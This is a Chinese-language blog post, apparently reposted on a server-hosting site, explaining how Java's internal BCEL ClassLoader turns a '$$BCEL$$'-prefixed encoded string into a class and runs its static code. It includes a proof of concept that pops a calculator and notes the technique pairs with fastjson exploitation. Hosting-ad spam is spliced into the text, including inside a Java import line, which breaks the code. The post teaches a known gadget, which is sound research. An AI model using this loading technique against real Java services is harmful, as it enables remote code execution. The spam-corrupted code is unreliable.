什么是BCEL
BCEL是位于sun包下的一个项目,是属于Apache Common的一个子项目
BCEL-LoadClass分析
demo
package org.example;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.服务器托管apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
JavaClass javaClass = Repository.lookupClass(calc.class);
String code = Utility.encode(javaClass.getBytes(), true);
System.out.println(code);
new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
}
}
package org.example;
import java.io.IOException;
public class calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
运行即可弹出计算器
流程分析
打个断点进入loadClass,注意这里单步调试是进不去我们要看的ClassLoader的,我们先打个断点,然后手动进去我们要看的com.sun.org.apache.bcel.internal.util.ClassLoader
这个,然后在里面打个断点,运行即可
进去后,这里会判断头是否是$$BCEL$$
,是的话进入createClass
这里对我们的code进行解密,退出返回上一层,进入defineClass
打进去一看,是原生的defineClass,定义了我们的恶意类,然服务器托管后newInstance的时候弹计算器
就这么点?下篇研究下BCEL内存马
结尾
BCEL字节码可以结合其它进行利用,例如fastjson
服务器托管,北京服务器托管,服务器租用 http://www.fwqtg.net
机房租用,北京机房租用,IDC机房托管, http://www.fwqtg.net
相关推荐: (超详细)2-YOLOV5改进-添加SimAM注意力机制
服务器托管网 1、在yolov5/models下面新建一个SimAM.py文件,在里面放入下面的代码 代码如下: import torch import torch.nn as nn class SimAM(torch.nn.Module): def __in…